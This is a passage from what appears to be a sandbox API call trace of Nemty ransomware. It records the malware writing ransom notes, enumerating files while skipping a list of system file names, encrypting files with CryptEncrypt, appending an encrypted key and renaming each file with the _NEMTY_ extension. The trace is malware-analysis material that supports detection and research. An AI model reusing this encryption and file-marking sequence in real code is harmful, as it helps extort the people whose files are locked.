10.0\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0169.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0169.863] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.863] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0169.864] CloseHandle (hObject=0x3c4) returned 1 [0169.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0169.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0169.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0169.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f915f8 [0169.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0169.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0169.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0169.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0169.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f940f0 [0169.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94178 [0169.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0169.864] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0169.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0169.865] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.865] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0169.866] CloseHandle (hObject=0x3c4) returned 1 [0169.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0169.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0169.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0169.866] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x18e2bfb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x18e2bfb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0169.867] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0169.867] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x18e2bfb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x18e2bfb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0169.867] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0169.867] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0169.867] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4268, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Benioku.htm", cAlternateFileName="")) returned 1 [0169.867] lstrcmpiW (lpString1="Benioku.htm", lpString2=".") returned 1 [0169.867] lstrcmpiW (lpString1="Benioku.htm", lpString2="..") returned 1 [0169.867] lstrcmpiW (lpString1="Benioku.htm", lpString2="...") returned 1 [0169.867] lstrcmpiW (lpString1="Benioku.htm", lpString2="windows") returned -1 [0169.867] lstrcmpiW (lpString1="Benioku.htm", lpString2="$RECYCLE.BIN") returned 1 [0169.867] lstrcmpiW (lpString1="Benioku.htm", lpString2="rsa") returned -1 [0169.867] lstrcmpiW (lpString1="Benioku.htm", lpString2="NTDETECT.COM") returned -1 [0169.867] lstrcmpiW (lpString1="Benioku.htm", lpString2="ntldr") returned -1 [0169.867] lstrcmpiW (lpString1="Benioku.htm", lpString2="MSDOS.SYS") returned -1 [0169.867] lstrcmpiW (lpString1="Benioku.htm", lpString2="IO.SYS") returned -1 [0169.867] lstrcmpiW (lpString1="Benioku.htm", lpString2="boot.ini") returned -1 [0169.867] lstrcmpiW (lpString1="Benioku.htm", lpString2="boot.ini") returned -1 [0169.867] lstrcmpiW (lpString1="Benioku.htm", lpString2="AUTOEXEC.BAT") returned 1 [0169.867] lstrcmpiW (lpString1="Benioku.htm", lpString2="ntuser.dat") returned -1 [0169.867] lstrcmpiW (lpString1="Benioku.htm", lpString2="desktop.ini") returned -1 [0169.867] lstrcmpiW (lpString1="Benioku.htm", lpString2="CONFIG.SYS") returned -1 [0169.867] lstrcmpiW (lpString1="Benioku.htm", lpString2="RECYCLER") returned -1 [0169.867] lstrcmpiW (lpString1="Benioku.htm", lpString2="BOOTSECT.BAK") returned -1 [0169.867] lstrcmpiW (lpString1="Benioku.htm", lpString2="bootmgr") returned -1 [0169.867] lstrcmpiW (lpString1="Benioku.htm", lpString2="programdata") returned -1 [0169.867] lstrcmpiW (lpString1="Benioku.htm", lpString2="appdata") returned 1 [0169.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Benioku.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Benioku.htm", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Benioku.htm", lpUsedDefaultChar=0x0) returned 11 [0169.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Benioku.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Benioku.htm", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Benioku.htm", lpUsedDefaultChar=0x0) returned 11 [0169.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Benioku.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Benioku.htm", cchWideChar=11, lpMultiByteStr=0x653f2a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Benioku.htm", lpUsedDefaultChar=0x0) returned 11 [0169.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Benioku.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Benioku.htm", cchWideChar=11, lpMultiByteStr=0x653f2d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Benioku.htm", lpUsedDefaultChar=0x0) returned 11 [0169.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f940f0 [0169.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0169.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94168 [0169.868] Sleep (dwMilliseconds=0x5) [0169.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x18e78270, dwHighDateTime=0x1d561e8)) [0169.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x18e78270, dwHighDateTime=0x1d561e8)) [0169.882] GetLastError () returned 0xb7 [0169.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0169.882] GetLastError () returned 0xb7 [0169.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0169.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.882] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0169.882] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0169.882] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0169.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f941e0 [0169.882] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f941e0, pcchString=0x653ef9c | out: pszString="szssmWX2R0BHiMJ9qHA7/4qLvQxgmBYiZoLgkZz5fOWoJej4k0SHcey1bNniSikV\r\nCMIYO4L4NyWawFQ8PBCWLP5Xd5NGhuMW1PAr6LK4Je3Q2iPqZ4LnB/Bs7ShDMNcE\r\na9Ro6Xqf1MFlpHVjQBjrw8Nnkxudj6itOR4XRDwyPovC89Yaj+l+2RtkPYet6o7n\r\nWLUgqfioYvCbi3GwhSZwLjz69ITXH0Hf84sgXM/6dJ/bMhY5uaELE6J88G5XCiYp\r\nzfbgIiy2KbJSO4SjSaFGBpldQf2DkwrwjlOc6ozrx23zjxvfZFbVu4fmTHjZ8JaR\r\ns90q2fpPgCPiTR5TPOC+MA==\r\n", pcchString=0x653ef9c) returned 1 [0169.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0169.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941e0 | out: hHeap=0x4f90000) returned 1 [0169.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0169.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f941e0 [0169.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0169.882] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\benioku.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0169.884] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=17000) returned 1 [0169.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4260) returned 0x6351c48 [0169.884] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.884] ReadFile (in: hFile=0x1e8, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x4260, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48*, lpNumberOfBytesRead=0x653f1e4*=0x4260, lpOverlapped=0x0) returned 1 [0169.887] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.887] WriteFile (in: hFile=0x1e8, lpBuffer=0x6351c48*, nNumberOfBytesToWrite=0x4260, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6351c48*, lpNumberOfBytesWritten=0x653f1dc*=0x4260, lpOverlapped=0x0) returned 1 [0169.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0169.887] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=17000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4268 [0169.887] WriteFile (in: hFile=0x1e8, lpBuffer=0x4f941e0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x4f941e0*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0169.887] CloseHandle (hObject=0x1e8) returned 1 [0169.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94350 [0169.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0169.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0169.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0169.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340048 [0169.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0169.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0169.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0169.889] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\benioku.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\benioku.htm._nemty_kgobjgd_")) returned 1 [0169.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0169.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94350 | out: hHeap=0x4f90000) returned 1 [0169.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0169.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941e0 | out: hHeap=0x4f90000) returned 1 [0169.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0169.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0169.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94168 | out: hHeap=0x4f90000) returned 1 [0169.890] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x42ba, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Berime.htm", cAlternateFileName="")) returned 1 [0169.890] lstrcmpiW (lpString1="Berime.htm", lpString2=".") returned 1 [0169.890] lstrcmpiW (lpString1="Berime.htm", lpString2="..") returned 1 [0169.890] lstrcmpiW (lpString1="Berime.htm", lpString2="...") returned 1 [0169.890] lstrcmpiW (lpString1="Berime.htm", lpString2="windows") returned -1 [0169.890] lstrcmpiW (lpString1="Berime.htm", lpString2="$RECYCLE.BIN") returned 1 [0169.890] lstrcmpiW (lpString1="Berime.htm", lpString2="rsa") returned -1 [0169.890] lstrcmpiW (lpString1="Berime.htm", lpString2="NTDETECT.COM") returned -1 [0169.890] lstrcmpiW (lpString1="Berime.htm", lpString2="ntldr") returned -1 [0169.890] lstrcmpiW (lpString1="Berime.htm", lpString2="MSDOS.SYS") returned -1 [0169.890] lstrcmpiW (lpString1="Berime.htm", lpString2="IO.SYS") returned -1 [0169.890] lstrcmpiW (lpString1="Berime.htm", lpString2="boot.ini") returned -1 [0169.890] lstrcmpiW (lpString1="Berime.htm", lpString2="boot.ini") returned -1 [0169.890] lstrcmpiW (lpString1="Berime.htm", lpString2="AUTOEXEC.BAT") returned 1 [0169.890] lstrcmpiW (lpString1="Berime.htm", lpString2="ntuser.dat") returned -1 [0169.890] lstrcmpiW (lpString1="Berime.htm", lpString2="desktop.ini") returned -1 [0169.890] lstrcmpiW (lpString1="Berime.htm", lpString2="CONFIG.SYS") returned -1 [0169.890] lstrcmpiW (lpString1="Berime.htm", lpString2="RECYCLER") returned -1 [0169.890] lstrcmpiW (lpString1="Berime.htm", lpString2="BOOTSECT.BAK") returned -1 [0169.890] lstrcmpiW (lpString1="Berime.htm", lpString2="bootmgr") returned -1 [0169.890] lstrcmpiW (lpString1="Berime.htm", lpString2="programdata") returned -1 [0169.890] lstrcmpiW (lpString1="Berime.htm", lpString2="appdata") returned 1 [0169.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Berime.htm", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0169.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Berime.htm", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Berime.htm", lpUsedDefaultChar=0x0) returned 10 [0169.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0169.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Berime.htm", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0169.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Berime.htm", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Berime.htm", lpUsedDefaultChar=0x0) returned 10 [0169.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0169.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Berime.htm", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0169.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Berime.htm", cchWideChar=10, lpMultiByteStr=0x653f2a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Berime.htm", lpUsedDefaultChar=0x0) returned 10 [0169.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Berime.htm", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0169.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Berime.htm", cchWideChar=10, lpMultiByteStr=0x653f2d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Berime.htm", lpUsedDefaultChar=0x0) returned 10 [0169.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94168 [0169.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0169.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0169.891] Sleep (dwMilliseconds=0x5) [0169.897] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x18e9e3d0, dwHighDateTime=0x1d561e8)) [0169.897] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x18e9e3d0, dwHighDateTime=0x1d561e8)) [0169.897] GetLastError () returned 0x0 [0169.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0169.897] GetLastError () returned 0x0 [0169.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0169.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0169.898] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0169.898] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0169.898] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0169.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f941e0 [0169.898] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f941e0, pcchString=0x653ef9c | out: 